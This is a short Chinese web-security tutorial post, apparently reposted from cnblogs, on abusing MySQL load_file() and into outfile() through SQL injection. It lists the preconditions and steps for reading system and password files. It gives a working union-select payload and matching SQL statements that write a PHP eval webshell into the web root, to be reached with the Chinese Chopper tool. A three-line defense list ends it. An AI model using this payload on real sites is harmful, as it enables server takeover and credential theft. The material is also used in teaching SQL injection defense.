码迷,mamicode.com
首页 > 数据库 > 详细

web安全之sqlload_file()和into outfile()

时间:2016-08-13 20:55:45      阅读:243      评论:0      收藏:0      [点我收藏+]

标签:

load_file()

  条件:要有file_priv权限

     知道文件的绝对路径

     能使用union

     对web目录有读权限

  如果过滤啦单引号,则可以将函数中的字符进行hex编码

 

步骤:

  1.读/etc/init.d下的东西,这里有配置文件路径。

技术分享

   2.得到web的安装路径

技术分享

 

3.读取密码文件

技术分享

 

 

 

into outfile

条件:

  1。要有file_priv权限

  2.知道网站的绝对路径

  3.对web有写的权限

  4.没有过滤单引号

 

步骤:

直到网站的绝对路径的时候:

  ?id=1 union select "<?php @eval($_POST[‘c‘]); ?>" into
 outfile("网站根目录")

相当于:

use test;  选择数据库为test
create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
insert into aaa values("<?php @eval($_POST[‘c‘]);?>");   在aaa中插入一条数据<?php @eval($_POST[‘c‘]);?>
select * from aaa into outfile ‘C:/phpStudy/WWW/a.php‘;  将aaa中的数据导出到文件a.php
drop aaa;  //删除建立的表


用菜刀练接;



防御:
  数据库连接帐号不能用root权限
  php关闭报错模式
  mysql帐号没有对权限对网络根目录有写的权限


 

web安全之sqlload_file()和into outfile()

标签:

原文地址:http://www.cnblogs.com/secevery/p/5768652.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!